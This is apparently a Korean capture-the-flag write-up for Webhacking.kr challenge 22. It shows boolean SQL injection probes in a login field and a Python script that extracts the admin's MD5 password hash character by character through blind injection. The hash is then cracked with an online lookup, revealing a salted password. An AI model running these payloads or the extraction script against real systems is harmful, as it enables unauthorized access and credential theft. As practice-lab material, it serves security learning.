Webhacking.kr 22번
admin으로 로그인 해야하고
컬럼명은 id와 pw
id: guest
pw: guest
로그인하니 pw가 해싱되어있음
injection이 가능한지
id: guest' and 1=1#
pw: 1234
로 해봄
id: guest' and 1=2#
pw: 1234
로 했을 때
블라인드 인젝션이 가능함
id: admin' and length(pw)=32#
pw: 1234
admin의 pw도 해싱되어있는 것 같음
import requests
url = "https://webhacking.kr/challenge/bonus-2/index.php"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = ""
for i in range(1,33):
for j in range(43,127):
data={"uuid":"admin' and substr(pw,"+str(i)+",1)='"+chr(j)+"'#","pw":"1234"}
req=session.post(url,data=data,cookies=cookie)
if("Wrong password!" in req.text):
password +=chr(j)
print(chr(j)+"is Correct!!!")
break
print(chr(j))
print(password)
print(password)
admin pw의 해쉬 값
6C9CA386A903921D7FA230FFA0FFC153
https://www.md5online.org/md5-decrypt.html
MD5 Online | Free MD5 Decryption, MD5 Hash Decoder
MD5 Decryption How it works? MD5 is a 128-bit encryption algorithm, which generates a hexadecimal hash of 32 characters, regardless of the input word size. This algorithm is not reversible, it's normally impossible to find the original word from the MD5. O
www.md5online.org
여기서 처음에
guest의 해쉬값을 decryption하면
원래의 pw인 guest에 apple이 추가되어 해쉬된걸 알 수 있음
admin의 pw도 해보면
wowapple로 나온다
admin의 pw는 wow